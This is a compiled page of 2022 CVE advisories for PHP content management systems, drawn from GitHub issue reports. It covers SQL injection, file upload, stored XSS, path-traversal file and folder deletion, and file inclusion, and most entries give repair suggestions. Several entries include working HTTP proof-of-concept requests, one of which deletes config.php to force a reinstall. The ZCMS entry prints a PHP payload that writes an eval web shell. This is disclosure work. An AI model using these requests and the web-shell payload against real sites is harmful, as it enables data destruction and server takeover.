ED01-CMS v20180505 was discovered to contain an arbitrary file upload vulnerability via /admin/users.php?source=edit_user&id=1.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2022-28525: There is a file upload vulnerability here:  /admin/users.php?source=edit_user&id=1 · Issue #5 · chilin89117/ED01-CMS

ED01-CMS v20180505 was discovered to contain a SQL injection vulnerability via the component post.php.

CVE-2022-28524: There is a SQL injection vulnerability here: /post.php · Issue #4 · chilin89117/ED01-CMS

HongCMS 3.0.0 allows arbitrary file deletion via the component /admin/index.php/template/ajax?action=delete.

Vulnerability file: \\admin\\controllers\\template.php  
The vulnerability code is as follows:  
![image](https://user-images.githubusercontent.com/90141086/161013598-2b6334d7-6b8b-4382-b01d-e3bf9c87d79d.png)

Arbitrary file deletion vulnerability could lead to system reinstallation  
Vulnerability to reproduce:  
1、First log in to the background to get cookies

2、Part of the code in the /install/index.php file is as follows:  
the following code means that the system can be reinstalled as long as the /config/config.php file is deleted  
..................................................................  
![image](https://user-images.githubusercontent.com/90141086/161021721-bdbbd26f-19fc-4dcf-a58a-929aed9c0369.png)

..................................................................

3、Construct the packet that deletes the config.php file as follows:  
.......................................................................................................  
POST /admin/index.php/template/ajax?action=delete HTTP/1.1  
Host: www.xxx.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: application/json, text/javascript, _/_; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://www.xxx.com/admin/index.php/template?dir=Default/  
Content-Length: 30  
Cookie: w4Gy9uu6fQW3admin=60edcf231451d2f7493eb8dcfc46d32e  
DNT: 1  
Connection: close

dir=Default%2F&file=../../../config/config.php  
........................................................................................................

Repair suggestion:  
1、Filter ../ or ..\\ in file variables  
2、Only allow files in the specified directory to be deleted

CVE-2022-28523: There is an arbitrary file deletion vulnerability here: /admin/index.php/template/ajax?action=delete · Issue #17 · Neeke/HongCMS

GreenCMS v2.3.0603 was discovered to contain an arbitrary file deletion vulnerability via /index.php?m=admin&c=custom&a=plugindelhandle&plugin_name=.

Vulnerability file: \\Application\\Common\\Util\\File.class.php  
![image](https://user-images.githubusercontent.com/90141086/161521942-4a2e8198-04a3-4814-9657-e227e07773fd.png)

Vulnerability to reproduce:  
1、First log in to the background  
2、Visit url: http://www.xxx.com/index.php?m=admin&c=custom&a=plugin  
3、Here delete the 111 folder in the root directory，construct the packet as follows:  
.................................................  
GET /index.php?m=admin&c=custom&a=plugindelhandle&plugin\_name=../111 HTTP/1.1  
Host: www.xxx.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,_/_;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://www.xxx.com/index.php?m=admin&c=custom&a=plugin  
Cookie: PHPSESSID=jlmibkatfp939ds8pk3qpiv536; Hm\_lvt\_48659a4ab85f1bcebb11d3dd3ecb6760=1649066135; Hm\_lpvt\_48659a4ab85f1bcebb11d3dd3ecb6760=1649066212; greencms\_last\_visit\_page=aHR0cDovL3d3dy54aWFvZGkuY29tL2luZGV4LnBocD9tPWFkbWluJmM9Y3VzdG9tJmE9cGx1Z2lu  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
.................................................

Repair suggestion:  
1、Filter ../ and ..\\  
2、Specify the range of files to delete

CVE-2022-28918: There is an arbitrary file deletion vulnerability here: /index.php?m=admin&c=custom&a=plugindelhandle&plugin_name= · Issue #116 · GreenCMS/GreenCMS

dhcms v20170919 was discovered to contain an arbitrary folder deletion vulnerability via /admin.php?r=admin/AdminBackup/del.

Vulnerability file: \\framework\\ext\\Util.php  
You can see that the following code does not filter ../ or ..\\, it just filters . or .., which will cause any folder to be deleted  
![image](https://user-images.githubusercontent.com/90141086/161227651-3b70d3c6-c3a3-4195-88dd-cdb483c5ef63.png)

Vulnerability to reproduce:  
1、Log in to the backend first  
2、Construct the packet as follows:  
.............................................  
POST /admin.php?r=admin/AdminBackup/del HTTP/1.1  
Host: www.xxx.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: application/json, text/javascript, _/_; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://www.xxx.com/admin.php?r=admin/AdminBackup/index  
Content-Length: 20  
Cookie: PHPSESSID=prukpjkatj61ivpcp5lh976ok4  
DNT: 1  
Connection: close

data=../111  
............................................  
You can see that the page shows that the file was deleted successfully  
![86Y4W@)_U2F 17DXTD5H2R](https://user-images.githubusercontent.com/90141086/161229545-d046cd5a-c4f9-49b4-8016-9ee9339786c0.png)

Repair suggestion:  
filter ../ or ..\\

CVE-2022-28527: There is an arbitrary folder deletion vulnerability here:/admin.php?r=admin/AdminBackup/del · Issue #5 · ShaoGongBra/dhcms

ZCMS v20170206 was discovered to contain a stored cross-site scripting (XSS) vulnerability via index.php?m=home&c=message&a=add.

Vulnerability file：\\Application\\Home\\Controller\\MessageController.class.php  
You can see that the xss vulnerability is not filtered here  
![image](https://user-images.githubusercontent.com/90141086/160759521-d5d54d75-31bb-43f4-bdeb-00c0409ae336.png)

Vulnerability to reproduce:  
1、Visit url: http://www.xxx.com/index.php?m=home&c=message&a=add ，use the post method to pass in parameter values，the specific operation screenshots are as follows:  
![image](https://user-images.githubusercontent.com/90141086/160760358-48abc193-e73b-48de-96f2-ae79bfc6fbd0.png)  
2、Access background address: http://www.xxx.com/Admin/Message/index/menuId/132 ，you can see the success popup  
![image](https://user-images.githubusercontent.com/90141086/160761425-81af8df1-93af-4858-9bae-27acb0de5b8c.png)  
Or you can log in to the background, click Extension Tools, and then click Message Management，a popup will appear next  
![image](https://user-images.githubusercontent.com/90141086/160761617-f991e8d9-db61-44b5-b0a8-67163a4c1737.png)

Repair suggestion:  
Use php built-in functions such as htmlspecialchars to filter xss vulnerabilities

CVE-2022-28522: There is a stored xss vulnerability here: /index.php?m=home&c=message&a=add · Issue #5 · jorycn/thinkphp-zcms

bloofoxCMS v0.5.2.1 was discovered to contain an arbitrary file upload vulnerability via /admin/index.php?mode=content&page=media&action=edit.

CVE-2022-28528: There is a file upload vulnerability here: /admin/index.php?mode=content&page=media&action=edit · Issue #14 · alexlang24/bloofoxCMS

ZCMS v20170206 was discovered to contain a file inclusion vulnerability via index.php?m=home&c=home&a=sp_set_config.

Permalink

Cannot retrieve contributors at this time

There is a file inclusion vulnerability here: index.php?m=home&c=home&a=sp\_set\_config

Vulnerability file：\\Application\\Home\\Controller\\HomeController.class.php

The vulnerability code is as follows:

You can see that the incoming file is directly included here, and the file is not filtered

.....................................................

function sp\_set\_config($file,$config\_array){

if (is\_writable($file)) {

$config = require $file;

$config\_content = array\_merge($config, $config\_array);

file\_put\_contents($file, "<?php \\nreturn " . stripslashes(var\_export($config\_content, true)) . ";", LOCK\_EX);

}

.....................................................

Vulnerability to reproduce:

1、First create a 1.txt file in the root directory of the website，of course, this can be any file in the root directory of the website

2、The code in the 1.txt file is as follows:

<?php phpinfo();?> <?php fputs(fopen('shell.php','w'),'<?php @eval($\_POST\[cmd\]); ?>'); ?>

3、Visit url: http://www.xxx.com/index.php?m=home&c=home&a=sp\_set\_config ，use the post method to pass in $file and $config\_array

The poc is as follows:

.................................................................................................

POST /index.php?m=home&c=home&a=sp\_set\_config HTTP/1.1

Host: www.xiaodi.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 27

file=1.txt&config\_array=xxx

................................................................................................

4、You can see that shell.php is successfully generated in the root directory of the website

Repair suggestion:

1、Restrict incoming files to php suffix

2、Specifies the incoming filename

3、Detect and filter the content of incoming files

CVE-2022-28521: bug_report/zcms：php file inclusion at main · zhendezuile/bug_report

Unauthenticated Cross-Site Scripting (XSS) vulnerability in Tripetto's Tripetto plugin <= 5.1.4 on WordPress via SVG image upload.

CVE-2021-36895: WordPress form builder plugin for contact forms, surveys and quizzes – Tripetto

CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.

Tag

#php